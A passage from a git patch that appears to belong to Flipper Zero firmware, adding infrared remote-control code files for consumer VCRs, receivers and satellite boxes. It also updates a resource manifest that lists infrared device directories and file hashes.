80 7B 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: sp_lp +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1F 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 40 00 00 00 +# +name: set_plus +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 41 00 00 00 +# +name: set_minus +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 42 00 00 00 +# +name: trck_fine_plus +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 43 00 00 00 +# +name: trck_fine_minus +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 44 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: aft_vps +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 46 00 00 00 +# +name: daily +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 49 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: weekly +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4D 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: clock_counter +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: trck_auto +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 58 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir new file mode 100644 index 000000000..007c23e84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: SEL/VPS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TRACKING +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7D 00 00 00 +# +name: CASS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir new file mode 100644 index 000000000..b413a2e65 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: speaker_mode +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: balance +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: bass +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: delay +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: pro_logic_auto_on +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir b/assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir new file mode 100644 index 000000000..077b908ea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 03 00 00 00 +# +name: Mem2 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 07 00 00 00 +# +name: Mem3 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 0B 00 00 00 +# +name: Mem4 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 0C 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 13 00 00 00 +# +name: ChMode +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 14 00 00 00 +# +name: FMode +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 15 00 00 00 +# +name: Mem1 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 18 00 00 00 +# +name: LCR +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 19 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1B 00 00 00 +# +name: PCh +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1C 00 00 00 +# +name: PLock +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1D 00 00 00 +# +name: PGplusminus +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 1F 00 00 00 +# +name: Fminus +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 40 00 00 00 +# +name: CFT +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 41 00 00 00 +# +name: Fplus +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 42 00 00 00 +# +name: TCCATV +type: parsed +protocol: NECext +address: 20 40 00 00 +command: 43 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir b/assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir new file mode 100644 index 000000000..db89f2fe7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 10 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 11 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 12 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 13 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 14 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 18 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 1F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 58 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9D 00 00 00 +# +name: X_KEY_QUIT +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9E 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 22 00 00 00 +command: 9F 00 00 00 From 12200299bc9b49b9135a972e8b2fac02c6a1b107 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 01:45:56 +0300 Subject: [PATCH 171/461] Update Manifest --- assets/resources/Manifest | 6023 ++++++++++++++++++++++++++++++++++++- 1 file changed, 6022 insertions(+), 1 deletion(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index cb16e8787..41f4c598b 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652793697 +T:1652827459 D:badusb D:dolphin D:infrared @@ -222,6 +222,22 @@ F:5442895c85f769349288aa3df0990f9d:585:dolphin/L3_Lab_research_128x54/frame_7.bm F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt +D:infrared/ACs +D:infrared/Audio Receivers +D:infrared/Blu-Ray +D:infrared/CCTV +D:infrared/Cable Boxes +D:infrared/Cameras +D:infrared/Consoles +D:infrared/Converters +D:infrared/Head Units +D:infrared/LED Lighting +D:infrared/Miscellaneous +D:infrared/Projectors +D:infrared/SoundBars +D:infrared/Streaming Devices +D:infrared/TVs +D:infrared/_CSV-IRDB_ D:infrared/assets F:b99ebb642148aa9232b4dc7f2acf98cd:4970:infrared/Amino_amigo.ir F:83f6ccdbdf32370fa4cf7afd651a6e0c:798:infrared/Amz_snd_bar.ir @@ -269,6 +285,6011 @@ F:296c9f7edf7533f6ef5bca764a7d197c:3282:infrared/Whynter_AC.ir F:219cc59cad3851e5e32dfe5d7feaca67:585:infrared/Xbox.ir F:364eff5aa9a946efa188b084f2f94b19:1680:infrared/Yamaha_rx.ir F:5636a7e6a0855bead9d06473f0af7899:662:infrared/Zenith_AC.ir +D:infrared/ACs/Dreo +D:infrared/ACs/Dyson +D:infrared/ACs/GoldenVantage +D:infrared/ACs/Homedics +D:infrared/ACs/JETTools +D:infrared/ACs/Koldfront +D:infrared/ACs/LG +D:infrared/ACs/Lasko +D:infrared/ACs/Vornado +D:infrared/ACs/Whynter +D:infrared/ACs/Zenith +F:a569d1b8095be49004a059d383ab7f6d:885:infrared/ACs/Koldfront_wac12001.ir +F:e4ff3f3ed3da86fde2e57aeafe0713c9:2040:infrared/ACs/Pelonis_PFS40D6ABB.ir +F:0adfb8c448a834ec7bb9e6cdfb1889ca:5726:infrared/ACs/Dreo/Dreo_Heater.ir +F:6e97ee0bb0f463b187505276b505ad16:2545:infrared/ACs/Dyson/Dyson_Air_Multiplier.ir +F:c5b07edc8da929f24ab88d79d1fd6db8:3278:infrared/ACs/Dyson/Dyson_HP09.ir +F:7992d17377ce2402e91cb43b46f08d72:399:infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir +F:865ca5afb89dd47d0765fb0859c5739d:3423:infrared/ACs/Homedics/Homedics_Humidifier.ir +F:3f24fa57b7df28a4354f6169dca0827b:309:infrared/ACs/JETTools/JETTools_AFS-1000B.ir +F:a569d1b8095be49004a059d383ab7f6d:885:infrared/ACs/Koldfront/Koldfront_WAC12001.ir +F:d9d44fa0e0f98ec81bbc83d9f9e8f21e:606:infrared/ACs/LG/LG_AC.ir +F:1f82a2532b660b0884c289d489505198:2521:infrared/ACs/Lasko/Lasko_Fan.ir +F:a3364044cf627cefb85171e8097d11fc:1182:infrared/ACs/Lasko/Lasko_Fan_Simple.ir +F:d6c0db421f6152ed0ca11a0d1c6b1e7f:9541:infrared/ACs/Lasko/Lasko_Heater.ir +F:399f539f2db1b478e49449807994dda0:3388:infrared/ACs/Vornado/Vornado.ir +F:d2d6e7887fc616c18226a93168a3db95:3338:infrared/ACs/Whynter/Whynter_AC.ir +F:20a6fac60eca822059961586e555fae7:706:infrared/ACs/Zenith/Zenith_AC.ir +D:infrared/Audio Receivers/Onkyo +D:infrared/Audio Receivers/Sony +F:dba8c5bbd96f2ba1fe5f2e17fc16a754:2360:infrared/Audio Receivers/Onkyo/Onkyo.ir +F:e7d7accd62c3eac2c75bec09960c50e1:4231:infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir +F:b161900861ddd997d61d155b5363c262:3201:infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir +D:infrared/Blu-Ray/LG +D:infrared/Blu-Ray/Toshiba +F:a58ad2cd2a6777ca3051592de868da59:1789:infrared/Blu-Ray/LG/LG_BlueRay.ir +F:4ba8e5b09ba5020d6a95df585a40888a:4178:infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir +D:infrared/CCTV/BrandUnknown +D:infrared/CCTV/MarshallElectronics +F:48527c78e0484c11f69194c0c16b8e70:1301:infrared/CCTV/BrandUnknown/Szxlcom_cams.ir +F:396b7ebc165ed8dea04121a77a52522d:1634:infrared/CCTV/MarshallElectronics/Marshall_CV610.ir +D:infrared/Cable Boxes/Amino +D:infrared/Cable Boxes/DIRECTV +D:infrared/Cable Boxes/Telus +F:4ff17ea34d603b301c8b34de5bc07362:5038:infrared/Cable Boxes/Amino/Amino_Amigo.ir +F:3e55e0cb17622c4059dcfdcc4d002d16:11908:infrared/Cable Boxes/DIRECTV/DIRECTV.ir +F:4ef91e7e203dd7c0e86519ce479acc5d:11420:infrared/Cable Boxes/Telus/Telus_OptikTV.ir +D:infrared/Cameras/Sony +F:bdf8524f7811b495bd299cc030b4fa08:191:infrared/Cameras/Sony/Nikon.ir +F:31aa9db0c769e03410a6930bc865a6ff:319:infrared/Cameras/Sony/Sony.ir +D:infrared/Consoles/Microsoft +F:1ef115678a3482919540c7131fc38c9b:623:infrared/Consoles/Microsoft/Xbox.ir +D:infrared/Converters/RME +F:ec00b8c093f791352038a23d5de695ca:34:infrared/Converters/ReadMe.md +F:99efe00c1f282f80507f65781b4a9c31:2083:infrared/Converters/RME/RME_ADI-2_DAC_FS.ir +D:infrared/Head Units/GPX +D:infrared/Head Units/Pioneer +F:20cd37afdca18abb0ea1094a21d693a1:625:infrared/Head Units/GPX/GPX_CDRadio.ir +F:024e5d16ce2a48fb71762e974b6e0401:14732:infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir +D:infrared/LED Lighting/Amazon +D:infrared/LED Lighting/BrandUnknown +D:infrared/LED Lighting/MonsterIlluminessence +F:13c52ad155935bc0aeeeee0fe0a0eb5e:2688:infrared/LED Lighting/mlambert_rope_light.ir +F:dfd66823d9d83ee1e94e4dfde7364e52:1895:infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir +F:d227ce9b86d37f679dfd537a70a3cf51:5436:infrared/LED Lighting/BrandUnknown/44_Button_LED.ir +F:22da5bf030abce34cd0c009f322e5617:6799:infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir +F:e726b3b0cd22bfe5c47953d718c78d7d:6768:infrared/LED Lighting/BrandUnknown/DMX_Light.ir +F:7d8a43f0ba5de376f4a9677b714b8f38:24251:infrared/LED Lighting/BrandUnknown/LEDStrip.ir +F:3e18ba52c2f88d40250fd5aec7d91af6:4064:infrared/LED Lighting/BrandUnknown/LED_44Key.ir +F:d13156345234eda9232bea13ab4cb4c1:17057:infrared/LED Lighting/BrandUnknown/Light_Strip.ir +F:22da5bf030abce34cd0c009f322e5617:6799:infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir +F:28b8db58bd3fd733676ebcb498e3c1f1:1991:infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir +F:6c7b0403bcee2c1cf2cb1e7c21938887:2285:infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir +D:infrared/Miscellaneous/AMI +D:infrared/Miscellaneous/Hasbro +D:infrared/Miscellaneous/LG +D:infrared/Miscellaneous/LaserX +F:b865e7861c45526b4191328f3875d42b:584:infrared/Miscellaneous/HDMI_Switch.ir +F:0fe52521c0216dbbdf6f78d1b0858907:46:infrared/Miscellaneous/ReadMe.md +F:12327e0e7bed3bf6c803a5f5afa9e894:515:infrared/Miscellaneous/AMI/AMI_Jukebox.ir +D:infrared/Miscellaneous/Hasbro/Furby +F:766a6ab2957dae098ebce9308ae51d38:11332:infrared/Miscellaneous/Hasbro/Furby/Furby.ir +F:b72738383cdc42a19f696de523e723f9:1506:infrared/Miscellaneous/LG/LG.ir +F:1808aed6368fc3563ff48e68110e1b00:476:infrared/Miscellaneous/LaserX/LaserX_Tag.ir +D:infrared/Projectors/BenQ +D:infrared/Projectors/BrandUnknown +D:infrared/Projectors/Casio +D:infrared/Projectors/Da-Lite +D:infrared/Projectors/Dragonfly +D:infrared/Projectors/Epson +F:359785e3ded7b9db05ec9e12c91f06a7:595:infrared/Projectors/BenQ/BenQ.ir +F:4510ba6faa6e79fbca45919dc56fedfb:1135:infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir +F:82e090bb0e8d82b6ff237d8e7ae2cee3:119:infrared/Projectors/BrandUnknown/README.md +F:c74dcf2ad2b7e12d1e51edbc0806f0f8:1004:infrared/Projectors/BrandUnknown/Scrn_innov.ir +F:d470d0ab0f7abf24cf5503c8690483b5:2628:infrared/Projectors/BrandUnknown/Stlth_acou.ir +F:747018d48ea5fc8618eefee3b633f118:1629:infrared/Projectors/Casio/Casio_YT-130.ir +F:29f9e5b8d77aad6e232b4119cbf4b591:1004:infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir +F:9c1c34659b5a9c4e98c2b249435b7b9a:3569:infrared/Projectors/Dragonfly/Dragonfly_Screen.ir +F:d4f2b3948d0a533fd0730b658f199a83:1705:infrared/Projectors/Epson/Epson.ir +D:infrared/SoundBars/Bose +D:infrared/SoundBars/BrandUnknown +D:infrared/SoundBars/Klipsch +D:infrared/SoundBars/Sony +D:infrared/SoundBars/Vizio +D:infrared/SoundBars/Yamaha +F:ea40f4d0f73c4a0380c67e7cfc585e32:7374:infrared/SoundBars/Samsung.ir +F:50b0fe93e6ca659fd84c03998b800aba:4030:infrared/SoundBars/Bose/Bose_Solo_2.ir +F:dfc7fa00c61e52c672a7acf6cf703ff1:517:infrared/SoundBars/Bose/Bose_Solo_5.ir +F:50b0fe93e6ca659fd84c03998b800aba:4030:infrared/SoundBars/Bose/Bose_Soundbar.ir +F:f0d69c1a9a4ed0b1ad3475c2ad784431:854:infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir +F:49955025312ba9d29aa21ce70bd1d66e:696:infrared/SoundBars/BrandUnknown/Soundblasterx.ir +F:4a6de51565a26ba00b261d1d9e99dc1a:948:infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir +F:b161900861ddd997d61d155b5363c262:3201:infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir +F:ac87eda65d0ee9d1c01ff61359e31034:405:infrared/SoundBars/Sony/Sony_Old_XBR.ir +F:60150e551ee698071e9daa7b61e4931b:494:infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir +F:467477bde104a1dcc8849dc8986f301e:1312:infrared/SoundBars/Vizio/Vizio_Soundbar.ir +F:4cce8883b17706e14a9dd4d9bea05b45:1796:infrared/SoundBars/Yamaha/Yamaha_RX.ir +D:infrared/Streaming Devices/Apple +D:infrared/Streaming Devices/Roku +F:2603bcd0315f1227549b11822740ea95:622:infrared/Streaming Devices/Apple/Apple_TV.ir +F:3f24fa57b7df28a4354f6169dca0827b:309:infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir +F:c8bec9dd49b7dc888ba0a963e9eaa7d9:959:infrared/Streaming Devices/Roku/Roku.ir +F:2784f57fcfa0da2915b6b0061316aa87:956:infrared/Streaming Devices/Roku/Roku2.ir +F:28630c4dde543ba2bfab1509531e6310:1527:infrared/Streaming Devices/Roku/Roku_Alternate.ir +D:infrared/TVs/Hisense +D:infrared/TVs/LG +D:infrared/TVs/NEC +D:infrared/TVs/Panasonic +D:infrared/TVs/Philips +D:infrared/TVs/Samsung +D:infrared/TVs/Sharp +D:infrared/TVs/Sony +D:infrared/TVs/Sunbrite +D:infrared/TVs/TCL +D:infrared/TVs/Toshiba +D:infrared/TVs/Vizio +D:infrared/TVs/Westinghouse +F:5cce92c8e036aa0977c8cf38c5912e94:1134:infrared/TVs/APEX LE4643T TV.ir +F:1c88d5fa75f9fc6500157e52c50fa372:1407:infrared/TVs/LG_55UN7300AUD.ir +F:e394f6ed88e5dc666fca04245335638a:1771:infrared/TVs/Hisense/Hisense_RokuTV.ir +F:77344dbfc24836be726f4b141b1d84f2:950:infrared/TVs/LG/LG_C1.ir +F:4371f9653871067706e82efac8202a0b:20085:infrared/TVs/NEC/NEC.ir +F:213f136221aad057d32c7bfe434ad09c:23951:infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir +F:e8c6c408c676104d6daec677c8839456:3878:infrared/TVs/Philips/Philips_32PFL4208T.ir +F:203f8a538e041a7fc7fb479c3d25aec0:4267:infrared/TVs/Samsung/Samsung.ir +F:4612e7168730f1b8c6d01477cd6e45e3:1476:infrared/TVs/Samsung/Samsung_BN59.ir +F:a8375d9488618a99f0368e3d69f45af4:4224:infrared/TVs/Samsung/Samsung_BN5901301A.ir +F:105524176f9c74cabdff0904f1939468:135:infrared/TVs/Samsung/Samsung_E6.ir +F:10277cf46b430e8cc52eba2a3714b285:1193:infrared/TVs/Samsung/Samsung_TV.ir +F:3cc87234d0974398b8d5920e46bf31d0:1923:infrared/TVs/Sharp/Sharp_Roku_TV.ir +F:ec129c562cb5c035ec09323f85d6d4ff:928:infrared/TVs/Sony/Sony_Bravia.ir +F:39bf7860cde370a65617925156fac09a:1122:infrared/TVs/Sony/Sony_XBR.ir +F:2caf380dd216a274a75fa8d9cb1ed4d4:681:infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir +F:e10f076b29001c5cf90fb7f99453ade0:1198:infrared/TVs/Sunbrite/Sunbrite.ir +F:25b367b5a164a020ae25dab9d87859d5:954:infrared/TVs/TCL/TCL_32S327.ir +F:c63f710e141a383dea85a7409c279583:8813:infrared/TVs/TCL/TCL_UnknownModel1.ir +F:1d8c305844be2012b47b625e4d9b8acc:1058:infrared/TVs/TCL/TCL_UnknownModel2.ir +F:62cd44fefd749f574c6f52b87e81e57a:581:infrared/TVs/Toshiba/Toshiba_32AV502U.ir +F:57f32c594f866c0a655ff9d2e4b048bc:1568:infrared/TVs/Vizio/Vizio.ir +F:9f484a6b27d1660e663fcd95587634ac:1423:infrared/TVs/Westinghouse/Westinghouse.ir +D:infrared/_CSV-IRDB_/2wire +D:infrared/_CSV-IRDB_/3M +D:infrared/_CSV-IRDB_/ABIT +D:infrared/_CSV-IRDB_/ABS +D:infrared/_CSV-IRDB_/ADA +D:infrared/_CSV-IRDB_/ADB +D:infrared/_CSV-IRDB_/ADS 